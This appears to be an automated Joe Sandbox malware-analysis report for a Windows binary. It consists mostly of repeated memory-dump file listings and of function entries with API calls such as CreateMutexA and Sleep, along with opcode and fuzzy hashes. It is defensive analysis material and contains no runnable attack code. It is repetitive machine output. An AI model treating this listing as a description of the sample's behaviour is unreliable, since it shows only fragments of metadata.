Associated: 00000000.00000002.1590559131.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590596165.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590611071.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590627106.0000000000EE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590642826.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590662020.0000000000F03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590677865.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590691896.0000000000F14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590705686.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590722969.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590738364.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590766399.0000000000F35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590784709.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590801685.0000000000F3C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590819431.0000000000F46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590835704.0000000000F47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590856091.0000000000F4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590938854.0000000000F51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590960598.0000000000F53000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590983471.0000000000F5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID: AttributesCnd_destroy_in_situCnd_unregister_at_thread_exitCreateDirectoryFileMtx_destroy_in_situ
String ID: q4]2
API String ID: 1701097124-375858992
Opcode ID: a2aace89ab076f1afdc5bd32a1880b171cce8ea2102f2d4da5484c637b171f28
Instruction ID: 4d8aa566f14544936b3ea2ab3dba340a4afe0b4d9f6f2c21f38efbe153d1543a
Opcode Fuzzy Hash: a2aace89ab076f1afdc5bd32a1880b171cce8ea2102f2d4da5484c637b171f28
Instruction Fuzzy Hash: 83F134319002989BDB24EB28CD8A7EDBB71AF45300F5442D8F44AA72C2DB755F84DB92

Function 00CE7D30 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00CE7ED3

Strings

q4]2, xrefs: 00CE7D5B

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590499235.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590515470.0000000000EB1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590532124.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590545037.0000000000EC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590596165.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590611071.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590627106.0000000000EE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590642826.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590662020.0000000000F03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590677865.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590691896.0000000000F14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590705686.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590722969.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590738364.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590766399.0000000000F35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590784709.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590801685.0000000000F3C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590819431.0000000000F46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590835704.0000000000F47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590856091.0000000000F4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590938854.0000000000F51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590960598.0000000000F53000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590983471.0000000000F5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: q4]2
API String ID: 1721193555-375858992
Opcode ID: 92e68bdf1ac1d28be894bdafeb7e47b5f1c37852a1ac1ae564ba9288df1c92ce
Instruction ID: 89afca03af053cb9679e2f1e8bdd3b4aebab8c7c34ca1c133bab812a4834f10d
Opcode Fuzzy Hash: 92e68bdf1ac1d28be894bdafeb7e47b5f1c37852a1ac1ae564ba9288df1c92ce
Instruction Fuzzy Hash: 03E12971E00284ABCB14BB29CD1B3AD7B71AB46724F94028CE419A73C2DB354F959BD2

Function 00CEB1A0 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 244
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00CEB3C8

Strings

q4]2, xrefs: 00CEB1B7

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590499235.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590515470.0000000000EB1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590532124.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590545037.0000000000EC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590596165.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590611071.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590627106.0000000000EE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590642826.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590662020.0000000000F03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590677865.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590691896.0000000000F14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590705686.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590722969.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590738364.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590766399.0000000000F35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590784709.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590801685.0000000000F3C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590819431.0000000000F46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590835704.0000000000F47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590856091.0000000000F4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590938854.0000000000F51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590960598.0000000000F53000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590983471.0000000000F5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID: Initialize
String ID: q4]2
API String ID: 2538663250-375858992
Opcode ID: f2df41e5a0e84c1e3db9ecb097f6566f4a156a2ebe0a91f2206150c7376ffa78
Instruction ID: 382a029a9e30bd76750d16b7821c3934f140d80e584bcdb526aa35aae6f6f2da
Opcode Fuzzy Hash: f2df41e5a0e84c1e3db9ecb097f6566f4a156a2ebe0a91f2206150c7376ffa78
Instruction Fuzzy Hash: 0EB11670A10268DFEB28CF15C895BEEB7B5EF05304F5085D8E90967281D775AE88CF91

Function 00CE9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00CEA963
CreateMutexA.KERNEL32(00000000,00000000,00D43254), ref: 00CEA981

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590499235.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590515470.0000000000EB1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590532124.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590545037.0000000000EC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590596165.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590611071.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590627106.0000000000EE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590642826.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590662020.0000000000F03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590677865.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590691896.0000000000F14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590705686.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590722969.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590738364.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590766399.0000000000F35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590784709.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590801685.0000000000F3C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590819431.0000000000F46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590835704.0000000000F47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590856091.0000000000F4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590938854.0000000000F51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590960598.0000000000F53000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590983471.0000000000F5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7456b1721fc6f7734095aa19d01d5641d3c90d9cb49ae9a79a77118e8bd2bfb0
Instruction ID: 12931f426646ea8beeb68db9954600de10d92a66f86c43ee8af11e964c157a18
Opcode Fuzzy Hash: 7456b1721fc6f7734095aa19d01d5641d3c90d9cb49ae9a79a77118e8bd2bfb0
Instruction Fuzzy Hash: DE316A317002449FEB18EB79DC89BADBB62EB92310F208619E014DB3D6D7759A818761

Function 00CE9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00CEA963
CreateMutexA.KERNEL32(00000000,00000000,00D43254), ref: 00CEA981

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590499235.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590515470.0000000000EB1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590532124.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590545037.0000000000EC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590596165.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590611071.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590627106.0000000000EE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590642826.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590662020.0000000000F03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590677865.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590691896.0000000000F14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590705686.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590722969.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590738364.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590766399.0000000000F35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590784709.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590801685.0000000000F3C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590819431.0000000000F46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590835704.0000000000F47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590856091.0000000000F4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590938854.0000000000F51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590960598.0000000000F53000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590983471.0000000000F5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0c509b827e8cd5e415d79a71c96d5545441f5fc16bc2f5ee69303de60fab7766
Instruction ID: bc6eb5bc035d3df16d9893b44d234530bfb6d2a29ede08b4762ab5d9f83b31dd
Opcode Fuzzy Hash: 0c509b827e8cd5e415d79a71c96d5545441f5fc16bc2f5ee69303de60fab7766
Instruction Fuzzy Hash: 54315B317002849FEB18EBBADCD8BADB762EB85310F244619F019DB3D1D77599808762

Function 00CEA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00CEA963
CreateMutexA.KERNEL32(00000000,00000000,00D43254), ref: 00CEA981

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590499235.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
